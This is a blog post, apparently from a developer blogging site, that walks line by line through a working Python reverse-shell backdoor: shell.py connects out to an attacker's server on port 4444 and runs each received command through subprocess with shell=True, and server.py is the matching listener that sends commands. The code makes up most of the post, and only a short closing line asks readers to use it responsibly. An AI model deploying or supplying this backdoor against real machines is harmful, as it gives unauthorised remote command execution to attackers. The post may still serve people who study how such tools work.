Reverse Shell | Backdoor Implementation in Python

A code-dependent life form.
Search for a command to run...

A code-dependent life form.
No comments yet. Be the first to comment.
I get asked to compare these two often enough that it is worth writing down properly. The short answer is that subagents and A2A are not competing, and treating them as alternatives leads people to bu

The first time I held my phone against my passport and watched an app pull my own photo off the chip, I had two reactions. First: that's really cool. Second: wait, how did it do that? So I went diggin

I just finished rebuilding our docs at docs.self.xyz, and the whole thing came from one assumption: every page now gets read twice. Once by a developer, and once by the agent sitting next to them. If

The final part of a series on agent harnesses. We started with the model-plus-harness idea, then built subagents, gave them a safe place to work, and wired up tools, memory, and workflows. This last p

Part four of a series on agent harnesses. The earlier pieces covered the model-plus-harness idea, subagents, and sandboxes. This one is about the three things that turn a capable agent into one that e

A reverse shell is a type of shell in which the target machine initiates the connection to the attacker's machine. In other words, instead of the attacker connecting to the target machine, the target machine connects back to the attacker's machine.
Reverse shells are often used in situations where the attacker is unable to connect directly to the target machine due to firewalls or other security measures. By using a reverse shell, the attacker can bypass these security measures and gain remote access to the target machine.
The code consists of two Python scripts: shell.py and server.py. The shell.py script creates a reverse shell, which means it allows the user to execute commands on the remote machine from the server machine. The server.py script acts as the server and listens for incoming connections from the shell.py script.
Source code - Here
Let's go through the code in shell.py line by line:
import sys
import socket
import subprocess
# SERVER ID ADDRESS
SERVER_IP = ""
PORT = 4444
s = socket.socket()
s.connect((SERVER_IP, PORT))
The socket module is imported, which provides low-level networking interfaces. The subprocess module is imported to run shell commands. The SERVER_IP and PORT variables are set to the IP address and port number of the server machine. A new socket object is created, which is used to connect to the server.
msg = s.recv(1024).decode()
print("[*] server: ", msg)
The script waits to receive a message from the server and prints it to the console. This message is just a confirmation that the connection has been established successfully.
while True:
cmd = s.recv(1024).decode()
print(f"[+] received command: {cmd}")
The script enters an infinite loop, waiting for commands from the server. When a command is received, it is printed to the console.
if cmd.lower() in ["exit", "quit"]:
break
If the command received is either "exit" or "quit", the loop is broken, and the connection to the server is closed.
try:
result = subprocess.check_output(cmd, stderr = subprocess.STDOUT, shell=True)
except Exception as e:
result = str(e).encode()
if len(result) == 0:
result = '[+] Executed successfully'.encode()
s.send(result)
The script executes the received command using the subprocess module's check_output method. If the command fails to execute, the error message is sent back to the server. If the command executes successfully, the output of the command is sent back to the server.
Now, let's go through the code in server.py line by line:
import socket
# SERVER IP ADDRESS
SERVER_IP = ""
PORT = 4444
The socket module is imported. The SERVER_IP and PORT variables are set to the IP address and port number on which the server listens for incoming connections.
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((SERVER_IP, PORT))
A new socket object is created. The setsockopt method is used to set the SO_REUSEADDR option to allow the socket to be reused immediately after it is closed. The bind method is used to bind the socket to the SERVER_IP and PORT.
s.listen(1)
while True:
print(f"[+] listening as {SERVER_IP}:{PORT}")
client = s.accept()
print(f"[+] client connected {client[1]}")
client[0].send('connected'.encode())
The listen method is called to start listening for incoming connections. The script enters a loop that waits for clients to connect. When a client connects, the script prints a message to the console indicating that a new client has connected. Then, the script sends a message to the client indicating that it has connected.
while True:
cmd = input(">>> ")
client[0].send(cmd.encode())
if cmd.lower() in ["exit", "quit"]:
break
result = client[0].recv(1024).decode()
print(result)
client[0].close()
cmd = input("Wait for new client? [y/n]: ") or 'y'
if cmd.lower() in ['n', "no"]:
break
The script enters another loop that waits for commands to be entered from the console. The script sends these commands to the client using the send method. If the command is either "exit" or "quit", the loop is broken, and the connection to the client is closed. If the command is something else, the script waits for a response from the client and prints it to the console.
After the loop is broken, the script prompts the user to see if they want to wait for another client. If the user enters "n" or "no", the loop is broken, and the script closes the socket.
In this blog post, we have gone through the shell.py and server.py scripts and explained how they work. The shell.py script creates a reverse shell, which allows the user to execute commands on the remote machine from the server machine. The server.py script acts as the server and listens for incoming connections from the shell.py script. With these scripts, one can gain remote access to a machine and execute commands on it. It's worth noting that while such scripts can be useful for remote administration, they can also be used maliciously, so it's essential to use them responsibly and only on machines that you have permission to access.